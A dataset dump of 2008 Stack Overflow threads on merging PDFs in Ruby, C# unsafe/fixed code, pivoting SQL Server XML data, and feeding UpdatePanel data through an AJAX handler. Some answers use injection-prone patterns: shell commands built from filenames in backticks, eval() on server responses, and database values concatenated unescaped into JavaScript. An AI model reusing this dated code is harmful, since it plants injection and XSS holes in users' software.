qid
int64
4
8.14M
question
stringlengths
20
48.3k
answers
list
date
stringlengths
10
10
metadata
list
input
stringlengths
12
45k
output
stringlengths
2
31.8k
85,459
<p>I have a series of PDFs named sequentially like so:</p> <ul> <li>01_foo.pdf</li> <li>02_bar.pdf</li> <li>03_baz.pdf</li> <li>etc.</li> </ul> <p>Using Ruby, is it possible to combine these into one big PDF while keeping them in sequence? I don't mind installing any necessary gems to do the job.</p> <p>If this isn't possible in Ruby, how about another language? No commercial components, if possible.</p> <hr> <p><strong>Update:</strong> <a href="https://stackoverflow.com/questions/85459/is-it-possible-to-combine-a-series-of-pdfs-into-one-using-ruby#85618">Jason Navarrete's suggestion</a> lead to the perfect solution:</p> <p>Place the PDF files needing to be combined in a directory along with <a href="http://www.accesspdf.com/pdftk/" rel="nofollow noreferrer">pdftk</a> (or make sure pdftk is in your PATH), then run the following script:</p> <pre><code>pdfs = Dir["[0-9][0-9]_*"].sort.join(" ") `pdftk #{pdfs} output combined.pdf` </code></pre> <p>Or I could even do it as a one-liner from the command-line:</p> <pre><code>ruby -e '`pdftk #{Dir["[0-9][0-9]_*"].sort.join(" ")} output combined.pdf`' </code></pre> <p>Great suggestion Jason, perfect solution, thanks. <strong>Give him an up-vote people</strong>.</p>
[ { "answer_id": 85493, "author": "akauppi", "author_id": 14455, "author_profile": "https://Stackoverflow.com/users/14455", "pm_score": 0, "selected": false, "text": "<p>I don't think Ruby has tools for that. You might check ImageMagick and Cairo. ImageMagick can be used for binding multiple pictures/documents together, but I'm not sure about the PDF case.</p>\n\n<p>Then again, there are surely Windows tools (commercial) to do this kind of thing.</p>\n\n<p>I use Cairo myself for <em>generating</em> PDF's. If the PDF's are coming from you, maybe that would be a solution (it does support multiple pages). Good luck!</p>\n" }, { "answer_id": 85576, "author": "Adam Rosenfield", "author_id": 9530, "author_profile": "https://Stackoverflow.com/users/9530", "pm_score": 2, "selected": false, "text": "<p>You can do this by converting to PostScript and back. PostScript files can be concatenated trivially. For example, here's a Bash script that uses the Ghostscript tools ps2pdf and pdf2ps:</p>\n\n<pre>\n#!/bin/bash\nfor file in 01_foo.pdf 02_bar.pdf 03_baz.pdf; do\n pdf2ps $file - >> temp.ps\ndone\n\nps2pdf temp.ps output.pdf\nrm temp.ps\n</pre>\n\n<p>I'm not familiar with Ruby, but there's almost certainly some function (might be called <code>system()</code> (just a guess)) that will invoke a given command line.</p>\n" }, { "answer_id": 85610, "author": "JasonTrue", "author_id": 13433, "author_profile": "https://Stackoverflow.com/users/13433", "pm_score": 0, "selected": false, "text": "<p>I'd suggest looking at the code for PDFCreator (VB, if I'm not mistaken, but that shouldn't matter since you'd just be implementing similar code in another language), which uses GhostScript (GNU license). Or just dig straight into GhostScript itself; there's also a facade layer available called GhostPDF, which may do what you want.</p>\n\n<p>If you can control GhostScript with VB, you can do it with C, which means you can do it with Ruby.</p>\n\n<p>Ruby also has IO.popen, which allows you to call out to external programs that can do this.</p>\n" }, { "answer_id": 85618, "author": "Jason Navarrete", "author_id": 3920, "author_profile": "https://Stackoverflow.com/users/3920", "pm_score": 5, "selected": true, "text": "<p>A <a href=\"http://www.ruby-forum.com/topic/120008#new\" rel=\"noreferrer\">Ruby-Talk</a> post suggests using the <strong><a href=\"http://www.accesspdf.com/pdftk/\" rel=\"noreferrer\">pdftk</a></strong> toolkit to merge the PDFs. </p>\n\n<p>It should be relatively straightforward to call <em>pdftk</em> as an external process and have it handle the merging. <em>PDF::Writer</em> may be overkill because all you're looking to accomplish is a simple append.</p>\n" }, { "answer_id": 90750, "author": "Dan Harper", "author_id": 14530, "author_profile": "https://Stackoverflow.com/users/14530", "pm_score": -1, "selected": false, "text": "<p>Any Ruby code to do this in a real application is probably going to be painfully slow. I would try and hunt down unix tools to do the job. This is one of the beauties of using Mac OS X, it has very fast PDF capabilities built-in. The next best thing is probably a unix tool.</p>\n\n<p>Actually, I've had some success with rtex. If you look <a href=\"http://weblog.rubyonrails.org/2006/3/19/quick-pdf-generation-with-rtex\" rel=\"nofollow noreferrer\">here</a> you'll find some information about it. It is much faster than any Ruby library that I've used and I'm pretty sure latex has a function to bring in PDF data from other sources.</p>\n" }, { "answer_id": 646651, "author": "Steve Hanov", "author_id": 15947, "author_profile": "https://Stackoverflow.com/users/15947", "pm_score": 2, "selected": false, "text": "<p>If you have ghostscript on your platform, shell out and execute this command:</p>\n\n<p>gs -dBATCH -dNOPAUSE -q -sDEVICE=pdfwrite -sOutputFile=finished.pdf &lt;your source pdf files&gt;</p>\n" }, { "answer_id": 1436543, "author": "Gordon Isnor", "author_id": 124518, "author_profile": "https://Stackoverflow.com/users/124518", "pm_score": 2, "selected": false, "text": "<p>I tried the pdftk solution and had problems on both SnowLeopard and Tiger. Installing on Tiger actually wreaked havoc on my system and left me unable to run script/server, fortunately it’s a machine retired from web development. </p>\n\n<p>Subsequently found another option: - joinPDF. Was an absolutely painless and fast install and it works perfectly. </p>\n\n<p>Also tried GhostScript and it failed miserably (could not read the fonts and I ended up with PDFs that had images only). </p>\n\n<p>But if you’re looking for a solution to this problem, you might want to try joinPDF. </p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/85459", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1944/" ]
I have a series of PDFs named sequentially like so: * 01\_foo.pdf * 02\_bar.pdf * 03\_baz.pdf * etc. Using Ruby, is it possible to combine these into one big PDF while keeping them in sequence? I don't mind installing any necessary gems to do the job. If this isn't possible in Ruby, how about another language? No commercial components, if possible. --- **Update:** [Jason Navarrete's suggestion](https://stackoverflow.com/questions/85459/is-it-possible-to-combine-a-series-of-pdfs-into-one-using-ruby#85618) lead to the perfect solution: Place the PDF files needing to be combined in a directory along with [pdftk](http://www.accesspdf.com/pdftk/) (or make sure pdftk is in your PATH), then run the following script: ``` pdfs = Dir["[0-9][0-9]_*"].sort.join(" ") `pdftk #{pdfs} output combined.pdf` ``` Or I could even do it as a one-liner from the command-line: ``` ruby -e '`pdftk #{Dir["[0-9][0-9]_*"].sort.join(" ")} output combined.pdf`' ``` Great suggestion Jason, perfect solution, thanks. **Give him an up-vote people**.
A [Ruby-Talk](http://www.ruby-forum.com/topic/120008#new) post suggests using the **[pdftk](http://www.accesspdf.com/pdftk/)** toolkit to merge the PDFs. It should be relatively straightforward to call *pdftk* as an external process and have it handle the merging. *PDF::Writer* may be overkill because all you're looking to accomplish is a simple append.
85,479
<p>Can someone give an example of a good time to actually use "unsafe" and "fixed" in C# code? I've played with it before, but never actually found a good use for it. </p> <p>Consider this code...</p> <pre><code>fixed (byte* pSrc = src, pDst = dst) { //Code that copies the bytes in a loop } </code></pre> <p>compared to simply using...</p> <pre><code>Array.Copy(source, target, source.Length); </code></pre> <p>The second is the code found in the .NET Framework, the first a part of the code copied from the Microsoft website, <a href="http://msdn.microsoft.com/en-us/library/28k1s2k6(VS.80).aspx" rel="noreferrer">http://msdn.microsoft.com/en-us/library/28k1s2k6(VS.80).aspx</a>.</p> <p>The built in Array.Copy() is dramatically faster than using Unsafe code. This might just because the second is just better written and the first is just an example, but what kinds of situations would you really even need to use Unsafe/Fixed code for anything? Or is this poor web developer messing with something above his head?</p>
[ { "answer_id": 85527, "author": "Matt Wilkinson", "author_id": 12832, "author_profile": "https://Stackoverflow.com/users/12832", "pm_score": 1, "selected": false, "text": "<p>I believe unsafe code is used if you want to access something outside of the .NET runtime, ie. it is not managed code (no garbage collection and so on). This includes raw calls to the Windows API and all that jazz.</p>\n" }, { "answer_id": 85547, "author": "Nick", "author_id": 1490, "author_profile": "https://Stackoverflow.com/users/1490", "pm_score": 2, "selected": false, "text": "<p>We had to use a fixed when an address gets passed to a legacy C DLL. Since the DLL maintained an internal pointer across function calls, all hell would break loose if the GC compacted the heap and moved stuff around.</p>\n" }, { "answer_id": 85552, "author": "Patrick Szalapski", "author_id": 7453, "author_profile": "https://Stackoverflow.com/users/7453", "pm_score": 1, "selected": false, "text": "<p>This tells me the designers of the .NET framework did a good job of covering the problem space--of making sure the \"managed code\" environment can do everything a traditional (e.g. C++) approach can do with its unsafe code/pointers. In case it cannot, the unsafe/fixed features are there if you need them. I'm sure someone has an example where unsafe code is needed, but it seems rare in practice--which is rather the point, isn't it? :)</p>\n" }, { "answer_id": 85570, "author": "Nick", "author_id": 1490, "author_profile": "https://Stackoverflow.com/users/1490", "pm_score": 2, "selected": false, "text": "<p>Unsafe is useful for (for example) getting pixel data out of an image quickly using LockBits. The performance improvement over doing this using the managed API is several orders of magnitude.</p>\n" }, { "answer_id": 85572, "author": "Brannon", "author_id": 5745, "author_profile": "https://Stackoverflow.com/users/5745", "pm_score": 6, "selected": true, "text": "<p>It's useful for interop with unmanaged code. Any pointers passed to unmanaged functions need to be fixed (aka. pinned) to prevent the garbage collector from relocating the underlying memory.</p>\n\n<p>If you are using P/Invoke, then the default marshaller will pin objects for you. Sometimes it's necessary to perform custom marshalling, and sometimes it's necessary to pin an object for longer than the duration of a single P/Invoke call.</p>\n" }, { "answer_id": 85774, "author": "Rune", "author_id": 7948, "author_profile": "https://Stackoverflow.com/users/7948", "pm_score": 5, "selected": false, "text": "<p>I've used unsafe-blocks to manipulate Bitmap-data. Raw pointer-access is significantly faster than SetPixel/GetPixel. </p>\n\n<pre><code>unsafe\n{\n BitmapData bmData = bm.LockBits(...)\n byte *bits = (byte*)pixels.ToPointer();\n // Do stuff with bits\n}\n</code></pre>\n\n<p>\"fixed\" and \"unsafe\" is typically used when doing interop, or when extra performance is required. Ie. String.CopyTo() uses unsafe and fixed in its implementation. </p>\n" }, { "answer_id": 488202, "author": "ShuggyCoUk", "author_id": 12748, "author_profile": "https://Stackoverflow.com/users/12748", "pm_score": 3, "selected": false, "text": "<p>reinterpret_cast style behaviour</p>\n\n<p>If you are bit manipulating then this can be incredibly useful</p>\n\n<p>many high performance hashcode implementations use UInt32 for the hash value (this makes the shifts simpler). Since .Net requires Int32 for the method you want to quickly convert the uint to an int. Since it matters not what the actual value is, only that all the bits in the value are preserved a reinterpret cast is desired.</p>\n\n<pre><code>public static unsafe int UInt32ToInt32Bits(uint x)\n{\n return *((int*)(void*)&amp;x);\n}\n</code></pre>\n\n<p>note that the naming is modelled on the <a href=\"http://msdn.microsoft.com/en-us/library/system.bitconverter.doubletoint64bits.aspx\" rel=\"noreferrer\">BitConverter.DoubleToInt64Bits</a></p>\n\n<p>Continuing in the hashing vein, converting a stack based struct into a byte* allows easy use of per byte hashing functions:</p>\n\n<pre><code>// from the Jenkins one at a time hash function\nprivate static unsafe void Hash(byte* data, int len, ref uint hash)\n{\n for (int i = 0; i &lt; len; i++)\n {\n hash += data[i];\n hash += (hash &lt;&lt; 10);\n hash ^= (hash &gt;&gt; 6);\n }\n}\n\npublic unsafe static void HashCombine(ref uint sofar, long data)\n{\n byte* dataBytes = (byte*)(void*)&amp;data;\n AddToHash(dataBytes, sizeof(long), ref sofar);\n}\n</code></pre>\n\n<p>unsafe also (from 2.0 onwards) lets you use stackalloc. This can be very useful in high performance situations where some small variable length array like temporary space is needed.</p>\n\n<p>All of these uses would be firmly in the 'only if your application really needs the performance' and thus are inappropriate in general use, but sometimes you really do need it.</p>\n\n<p>fixed is necessary for when you wish to interop with some useful unmanaged function (there are many) that takes c-style arrays or strings. As such it is not only for performance reasons but correctness ones when in interop scenarios.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/85479", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
Can someone give an example of a good time to actually use "unsafe" and "fixed" in C# code? I've played with it before, but never actually found a good use for it. Consider this code... ``` fixed (byte* pSrc = src, pDst = dst) { //Code that copies the bytes in a loop } ``` compared to simply using... ``` Array.Copy(source, target, source.Length); ``` The second is the code found in the .NET Framework, the first a part of the code copied from the Microsoft website, <http://msdn.microsoft.com/en-us/library/28k1s2k6(VS.80).aspx>. The built in Array.Copy() is dramatically faster than using Unsafe code. This might just because the second is just better written and the first is just an example, but what kinds of situations would you really even need to use Unsafe/Fixed code for anything? Or is this poor web developer messing with something above his head?
It's useful for interop with unmanaged code. Any pointers passed to unmanaged functions need to be fixed (aka. pinned) to prevent the garbage collector from relocating the underlying memory. If you are using P/Invoke, then the default marshaller will pin objects for you. Sometimes it's necessary to perform custom marshalling, and sometimes it's necessary to pin an object for longer than the duration of a single P/Invoke call.
85,481
<p>Say I've got this table (SQL Server 2005):</p> <pre><code>Id =&gt; integer MyField =&gt; XML </code></pre> <p><b>Id MyField</b> </p> <pre><code>1 &lt; Object&gt;&lt; Type&gt;AAA&lt; /Type&gt;&lt; Value&gt;10&lt; /Value&gt;&lt; /Object&gt;&lt; Object&gt;&lt; Type&gt;BBB&lt; /Type&gt;&lt;Value&gt;20&lt; /Value&gt;&lt; /Object&gt; 2 &lt; Object&gt;&lt; Type&gt;AAA&lt; /Type&gt;&lt; Value&gt;15&lt; /Value&gt;&lt; /Object&gt; 3 &lt; Object&gt;&lt; Type&gt;AAA&lt; /Type&gt;&lt; Value&gt;20&lt; /Value&gt;&lt; /Object&gt;&lt; Object&gt;&lt; Type&gt;BBB&lt; /Type&gt;&lt; Value&gt;30&lt; /Value&gt;&lt; /Object&gt; </code></pre> <p>I need a TSQL query which would return something like this:</p> <pre><code>Id AAA BBB 1 10 20 2 15 NULL 3 20 30 </code></pre> <p>Note that I won't know if advance how many <code>'Type'</code> (eg AAA, BBB, CCC,DDD, etc.) there will be in the xml string.</p>
[ { "answer_id": 85535, "author": "Darren Kopp", "author_id": 77, "author_profile": "https://Stackoverflow.com/users/77", "pm_score": 1, "selected": false, "text": "<p>You will need to use the <a href=\"http://msdn.microsoft.com/en-us/library/ms345122.aspx#sql2k5_xqueryintro_topic8\" rel=\"nofollow noreferrer\">XML querying in sql server</a> to do that.</p>\n\n<p>somethings like</p>\n\n<pre><code>select id, MyField.query('/Object/Type[.=\"AAA\"]/Value') as AAA, MyField.query('/Object/Type[.=\"BBB\"]/Value) AS BBB\n</code></pre>\n\n<p>not sure if that's 100% correct xquery syntax, but it's going to be something like that.</p>\n" }, { "answer_id": 171261, "author": "Darrel Miller", "author_id": 6819, "author_profile": "https://Stackoverflow.com/users/6819", "pm_score": 0, "selected": false, "text": "<p>One possible option is to use the <a href=\"http://msdn.microsoft.com/en-us/library/system.xml.xmldatadocument.aspx\" rel=\"nofollow noreferrer\">XMLDataDocument</a>. Using this class you can retrieve the data as XML load it into the XmlDataDocument and then use the Dataset property to access it as if it were a standard dataset.</p>\n" }, { "answer_id": 182780, "author": "Josef", "author_id": 5581, "author_profile": "https://Stackoverflow.com/users/5581", "pm_score": 0, "selected": false, "text": "<p>You'll need to use <code>CROSS APPLY</code>. Here's an example based on your request:</p>\n\n<pre><code>declare @y table (rowid int, xmlblock xml)\ninsert into @y values(1,'&lt;Object&gt;&lt;Type&gt;AAA&lt;/Type&gt;&lt;Value&gt;10&lt;/Value&gt;&lt;/Object&gt;&lt;Object&gt;&lt;Type&gt;BBB&lt;/Type&gt;&lt;Value&gt;20&lt;/Value&gt;&lt;/Object&gt;')\ninsert into @y values(2,'&lt;Object&gt;&lt;Type&gt;AAA&lt;/Type&gt;&lt;Value&gt;15&lt;/Value&gt;&lt;/Object&gt;')\ninsert into @y values(3,'&lt;Object&gt;&lt;Type&gt;AAA&lt;/Type&gt;&lt;Value&gt;20&lt;/Value&gt;&lt;/Object&gt;&lt;Object&gt;&lt;Type&gt;BBB&lt;/Type&gt;&lt;Value&gt;30&lt;/Value&gt;&lt;/Object&gt;')\n\nselect y.rowid, t.b.value('Type[1]', 'nvarchar(5)'), t.b.value('Value[1]', 'int')\nfrom @y y CROSS APPLY XmlBlock.nodes('//Object') t(b)\n</code></pre>\n\n<p>Oh, and your example XML is invalid, the first row is missing the opening <code>Value</code> element for <code>Type BBB</code>.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/85481", "https://Stackoverflow.com", "https://Stackoverflow.com/users/15928/" ]
Say I've got this table (SQL Server 2005): ``` Id => integer MyField => XML ``` **Id MyField** ``` 1 < Object>< Type>AAA< /Type>< Value>10< /Value>< /Object>< Object>< Type>BBB< /Type><Value>20< /Value>< /Object> 2 < Object>< Type>AAA< /Type>< Value>15< /Value>< /Object> 3 < Object>< Type>AAA< /Type>< Value>20< /Value>< /Object>< Object>< Type>BBB< /Type>< Value>30< /Value>< /Object> ``` I need a TSQL query which would return something like this: ``` Id AAA BBB 1 10 20 2 15 NULL 3 20 30 ``` Note that I won't know if advance how many `'Type'` (eg AAA, BBB, CCC,DDD, etc.) there will be in the xml string.
You will need to use the [XML querying in sql server](http://msdn.microsoft.com/en-us/library/ms345122.aspx#sql2k5_xqueryintro_topic8) to do that. somethings like ``` select id, MyField.query('/Object/Type[.="AAA"]/Value') as AAA, MyField.query('/Object/Type[.="BBB"]/Value) AS BBB ``` not sure if that's 100% correct xquery syntax, but it's going to be something like that.
85,500
<p>First time working with UpdatePanels in .NET. </p> <p>I have an updatepanel with a trigger pointed to an event on a FormView control. The UpdatePanel holds a ListView with related data from a separate database.</p> <p>When the UpdatePanel refreshes, it needs values from the FormView control so that on the server it can use them to query the database.</p> <p>For the life if me, I can't figure out how to get those values. The event I'm triggering from has them, but I want the updatepanel to refresh asynchronously. How do I pass values to the load event on the panel?</p> <p>Googled this ad nauseum and can't seem to get to an answer here. A link or an explanation would be immensely helpful..</p> <p>Jeff</p>
[ { "answer_id": 85554, "author": "StingyJack", "author_id": 16391, "author_profile": "https://Stackoverflow.com/users/16391", "pm_score": 1, "selected": false, "text": "<p>Try </p>\n\n<ul>\n<li>...looking in the Request and\nResponse. </li>\n<li>...setting a breakpoint\non the Load() method and query Me or\nthis in the watch or immediate\nwindow to see if the values you want\nare maybe just not where you are\nexpecting them? </li>\n<li>...Put a (For Each ctl as Control in Me/This.Controls)\nand inspecting each control that is iterated and see if you are even getting the controls you expect.</li>\n<li>... its not in Sender or EventArgs? </li>\n</ul>\n\n<p>\nTry NOT using Update panels.... They can often cause more trouble than they are worth. It may be faster and less headache to use regular AJAX to get it done. </p>\n" }, { "answer_id": 85797, "author": "Mitchel Sellers", "author_id": 13279, "author_profile": "https://Stackoverflow.com/users/13279", "pm_score": 1, "selected": false, "text": "<p>If you are working with an UpdatePanel just make sure that both controls are inside the panel and it will work as desired.</p>\n" }, { "answer_id": 86520, "author": "StingyJack", "author_id": 16391, "author_profile": "https://Stackoverflow.com/users/16391", "pm_score": 3, "selected": true, "text": "<p>make a javascript function that will collect the pieces of form data, and then sends that data to an ASHX handler. the ASHX handler will do some work, and can reply with a response.</p>\n\n<p>This is an example I made that calls a database to populate a grid using AJAX calls. There are better libraries for doing AJAX (prototype, ExtJS, etc), but this is the raw deal. (I <strong><em>know</em></strong> this can be refactored to be even cleaner, but you can get the idea well enough)</p>\n\n<p>Works like this...</p>\n\n<ul>\n<li>User enters text in the search box, </li>\n<li>User clicks search button, </li>\n<li>JavaScript gets form data, </li>\n<li>javascript makes ajax call to ASHX, </li>\n<li>ASHX receives request, </li>\n<li>ASHX queries database,</li>\n<li>ASHX parses the response into JSON/Javascript array, </li>\n<li>ASHX sends response,</li>\n<li>Javascript receives response, </li>\n<li>javascript Eval()'s response to object,</li>\n<li>javascript iterates object properties and fills grid</li>\n</ul>\n\n<p>The html will look like this... </p>\n\n<pre><code>&lt;html xmlns=\"http://www.w3.org/1999/xhtml\" &gt;\n&lt;head runat=\"server\"&gt;\n &lt;title&gt;Untitled Page&lt;/title&gt;\n &lt;script type=\"text/javascript\" src=\"AjaxHelper.js\"&gt;&lt;/script&gt;\n&lt;/head&gt;\n&lt;body&gt;\n &lt;form id=\"form1\" runat=\"server\"&gt;\n &lt;div&gt;\n &lt;asp:TextBox ID=\"txtSearchValue\" runat=\"server\"&gt;&lt;/asp:TextBox&gt;\n &lt;input id=\"btnSearch\" type=\"button\" value=\"Search by partial full name\" onclick=\"doSearch()\"/&gt;\n\n &lt;igtbl:ultrawebgrid id=\"uwgUsers\" runat=\"server\" \n//infragistics grid crap\n &lt;/igtbl:ultrawebgrid&gt;--%&gt;\n &lt;/div&gt;\n &lt;/form&gt;\n&lt;/body&gt;\n&lt;/html&gt;\n</code></pre>\n\n<p>The script that fires on click will look like this...</p>\n\n<pre><code>//this is tied to the button click. It takes care of input cleanup and calling the AJAX method\nfunction doSearch(){\n var eleVal; \n var eleBtn;\n eleVal = document.getElementById('txtSearchValue').value;\n eleBtn = document.getElementById('btnSearch');\n eleVal = trim(eleVal);\n if (eleVal.length &gt; 0) {\n eleBtn.value = 'Searching...';\n eleBtn.disabled = true;\n refreshGridData(eleVal);\n }\n else {\n alert(\"Please enter a value to search with. Unabated searches are not permitted.\");\n }\n}\n\n//This is the function that will go out and get the data and call load the Grid on AJAX call \n//return.\nfunction refreshGridData(searchString){\n\n if (searchString =='undefined'){\n searchString = \"\";\n }\n\n var xhr; \n var gridData;\n var url;\n\n url = \"DefaultHandler.ashx?partialUserFullName=\" + escape(searchString);\n xhr = GetXMLHttpRequestObject();\n\n xhr.onreadystatechange = function() {\n if (xhr.readystate==4) {\n gridData = eval(xhr.responseText);\n if (gridData.length &gt; 0) {\n //clear and fill the grid\n clearAndPopulateGrid(gridData);\n }\n else {\n //display appropriate message\n }\n } //if (xhr.readystate==4) {\n } //xhr.onreadystatechange = function() {\n\n xhr.open(\"GET\", url, true);\n xhr.send(null);\n}\n\n//this does the grid clearing and population, and enables the search button when complete.\nfunction clearAndPopulateGrid(jsonObject) {\n\n var grid = igtbl_getGridById('uwgUsers');\n var eleBtn;\n eleBtn = document.getElementById('btnSearch');\n\n //clear the rows\n for (x = grid.Rows.length; x &gt;= 0; x--) {\n grid.Rows.remove(x, false);\n }\n\n //add the new ones\n for (x = 0; x &lt; jsonObject.length; x++) {\n var newRow = igtbl_addNew(grid.Id, 0, false, false);\n //the cells should not be referenced by index value, so a name lookup should be implemented\n newRow.getCell(0).setValue(jsonObject[x][1]); \n newRow.getCell(1).setValue(jsonObject[x][2]);\n newRow.getCell(2).setValue(jsonObject[x][3]);\n }\n\n grid = null;\n\n eleBtn.disabled = false;\n eleBtn.value = \"Search by partial full name\";\n}\n\n\n// this function will return the XMLHttpRequest Object for the current browser\nfunction GetXMLHttpRequestObject() {\n\n var XHR; //the object to return\n var ua = navigator.userAgent.toLowerCase(); //gets the useragent text\n try\n {\n //determine the browser type\n if (!window.ActiveXObject)\n { //Non IE Browsers\n XHR = new XMLHttpRequest(); \n }\n else \n {\n if (ua.indexOf('msie 5') == -1)\n { //IE 5.x\n XHR = new ActiveXObject(\"Msxml2.XMLHTTP\");\n }\n else\n { //IE 6.x and up \n XHR = new ActiveXObject(\"Microsoft.XMLHTTP\"); \n }\n } //end if (!window.ActiveXObject)\n\n if (XHR == null)\n {\n throw \"Unable to instantiate the XMLHTTPRequest object.\";\n }\n }\n catch (e)\n {\n alert(\"This browser does not appear to support AJAX functionality. error: \" + e.name\n + \" description: \" + e.message);\n }\n return XHR;\n} //end function GetXMLHttpRequestObject()\n\nfunction trim(stringToTrim){\n return stringToTrim.replace(/^\\s\\s*/, '').replace(/\\s\\s*$/, '');\n}\n</code></pre>\n\n<p>And the ashx handler looks like this....</p>\n\n<pre><code>Imports System.Web\nImports System.Web.Services\nImports System.Data\nImports System.Data.SqlClient\n\nPublic Class DefaultHandler\n Implements System.Web.IHttpHandler\n\n Private Const CONN_STRING As String = \"Data Source=;Initial Catalog=;User ID=;Password=;\"\n\n Sub ProcessRequest(ByVal context As HttpContext) Implements IHttpHandler.ProcessRequest\n\n context.Response.ContentType = \"text/plain\"\n context.Response.Expires = -1\n\n Dim strPartialUserName As String\n Dim strReturnValue As String = String.Empty\n\n If context.Request.QueryString(\"partialUserFullName\") Is Nothing = False Then\n strPartialUserName = context.Request.QueryString(\"partialUserFullName\").ToString()\n\n If String.IsNullOrEmpty(strPartialUserName) = False Then\n strReturnValue = SearchAndReturnJSResult(strPartialUserName)\n End If\n End If\n\n context.Response.Write(strReturnValue)\n\n End Sub\n\n\n Private Function SearchAndReturnJSResult(ByVal partialUserName As String) As String\n\n Dim strReturnValue As New StringBuilder()\n Dim conn As SqlConnection\n Dim strSQL As New StringBuilder()\n Dim objParam As SqlParameter\n Dim da As SqlDataAdapter\n Dim ds As New DataSet()\n Dim dr As DataRow\n\n 'define sql\n strSQL.Append(\" SELECT \")\n strSQL.Append(\" [id] \")\n strSQL.Append(\" ,([first_name] + ' ' + [last_name]) \")\n strSQL.Append(\" ,[email] \")\n strSQL.Append(\" FROM [person] (NOLOCK) \")\n strSQL.Append(\" WHERE [last_name] LIKE @lastName\")\n\n 'clean up the partial user name for use in a like search\n If partialUserName.EndsWith(\"%\", StringComparison.InvariantCultureIgnoreCase) = False Then\n partialUserName = partialUserName &amp; \"%\"\n End If\n\n If partialUserName.StartsWith(\"%\", StringComparison.InvariantCultureIgnoreCase) = False Then\n partialUserName = partialUserName.Insert(0, \"%\")\n End If\n\n 'create the oledb parameter... parameterized queries perform far better on repeatable\n 'operations\n objParam = New SqlParameter(\"@lastName\", SqlDbType.VarChar, 100)\n objParam.Value = partialUserName\n\n conn = New SqlConnection(CONN_STRING)\n da = New SqlDataAdapter(strSQL.ToString(), conn)\n da.SelectCommand.Parameters.Add(objParam)\n\n Try 'to get a dataset. \n da.Fill(ds)\n Catch sqlex As SqlException\n 'Throw an appropriate exception if you can add details that will help understand the problem.\n Throw New DataException(\"Unable to retrieve the results from the user search.\", sqlex)\n Finally\n If conn.State = ConnectionState.Open Then\n conn.Close()\n End If\n conn.Dispose()\n da.Dispose()\n End Try\n\n 'make sure we have a return value\n If ds Is Nothing OrElse ds.Tables(0) Is Nothing OrElse ds.Tables(0).Rows.Count &lt;= 0 Then\n Return String.Empty\n End If\n\n 'This converts the table into JS array. \n strReturnValue.Append(\"[\")\n\n For Each dr In ds.Tables(0).Rows\n strReturnValue.Append(\"['\" &amp; CStr(dr(\"username\")) &amp; \"','\" &amp; CStr(dr(\"userfullname\")) &amp; \"','\" &amp; CStr(dr(\"useremail\")) &amp; \"'],\")\n Next\n\n strReturnValue.Remove(strReturnValue.Length - 1, 1)\n strReturnValue.Append(\"]\")\n\n 'de-allocate what can be deallocated. Setting to Nothing for smaller types may\n 'incur performance hit because of a forced allocation to nothing before they are deallocated\n 'by garbage collection.\n ds.Dispose()\n strSQL.Length = 0\n\n Return strReturnValue.ToString()\n\n End Function\n\n\n ReadOnly Property IsReusable() As Boolean Implements IHttpHandler.IsReusable\n Get\n Return False\n End Get\n End Property\n\nEnd Class\n</code></pre>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/85500", "https://Stackoverflow.com", "https://Stackoverflow.com/users/16426/" ]
First time working with UpdatePanels in .NET. I have an updatepanel with a trigger pointed to an event on a FormView control. The UpdatePanel holds a ListView with related data from a separate database. When the UpdatePanel refreshes, it needs values from the FormView control so that on the server it can use them to query the database. For the life if me, I can't figure out how to get those values. The event I'm triggering from has them, but I want the updatepanel to refresh asynchronously. How do I pass values to the load event on the panel? Googled this ad nauseum and can't seem to get to an answer here. A link or an explanation would be immensely helpful.. Jeff
make a javascript function that will collect the pieces of form data, and then sends that data to an ASHX handler. the ASHX handler will do some work, and can reply with a response. This is an example I made that calls a database to populate a grid using AJAX calls. There are better libraries for doing AJAX (prototype, ExtJS, etc), but this is the raw deal. (I ***know*** this can be refactored to be even cleaner, but you can get the idea well enough) Works like this... * User enters text in the search box, * User clicks search button, * JavaScript gets form data, * javascript makes ajax call to ASHX, * ASHX receives request, * ASHX queries database, * ASHX parses the response into JSON/Javascript array, * ASHX sends response, * Javascript receives response, * javascript Eval()'s response to object, * javascript iterates object properties and fills grid The html will look like this... ``` <html xmlns="http://www.w3.org/1999/xhtml" > <head runat="server"> <title>Untitled Page</title> <script type="text/javascript" src="AjaxHelper.js"></script> </head> <body> <form id="form1" runat="server"> <div> <asp:TextBox ID="txtSearchValue" runat="server"></asp:TextBox> <input id="btnSearch" type="button" value="Search by partial full name" onclick="doSearch()"/> <igtbl:ultrawebgrid id="uwgUsers" runat="server" //infragistics grid crap </igtbl:ultrawebgrid>--%> </div> </form> </body> </html> ``` The script that fires on click will look like this... ``` //this is tied to the button click. It takes care of input cleanup and calling the AJAX method function doSearch(){ var eleVal; var eleBtn; eleVal = document.getElementById('txtSearchValue').value; eleBtn = document.getElementById('btnSearch'); eleVal = trim(eleVal); if (eleVal.length > 0) { eleBtn.value = 'Searching...'; eleBtn.disabled = true; refreshGridData(eleVal); } else { alert("Please enter a value to search with. Unabated searches are not permitted."); } } //This is the function that will go out and get the data and call load the Grid on AJAX call //return. function refreshGridData(searchString){ if (searchString =='undefined'){ searchString = ""; } var xhr; var gridData; var url; url = "DefaultHandler.ashx?partialUserFullName=" + escape(searchString); xhr = GetXMLHttpRequestObject(); xhr.onreadystatechange = function() { if (xhr.readystate==4) { gridData = eval(xhr.responseText); if (gridData.length > 0) { //clear and fill the grid clearAndPopulateGrid(gridData); } else { //display appropriate message } } //if (xhr.readystate==4) { } //xhr.onreadystatechange = function() { xhr.open("GET", url, true); xhr.send(null); } //this does the grid clearing and population, and enables the search button when complete. function clearAndPopulateGrid(jsonObject) { var grid = igtbl_getGridById('uwgUsers'); var eleBtn; eleBtn = document.getElementById('btnSearch'); //clear the rows for (x = grid.Rows.length; x >= 0; x--) { grid.Rows.remove(x, false); } //add the new ones for (x = 0; x < jsonObject.length; x++) { var newRow = igtbl_addNew(grid.Id, 0, false, false); //the cells should not be referenced by index value, so a name lookup should be implemented newRow.getCell(0).setValue(jsonObject[x][1]); newRow.getCell(1).setValue(jsonObject[x][2]); newRow.getCell(2).setValue(jsonObject[x][3]); } grid = null; eleBtn.disabled = false; eleBtn.value = "Search by partial full name"; } // this function will return the XMLHttpRequest Object for the current browser function 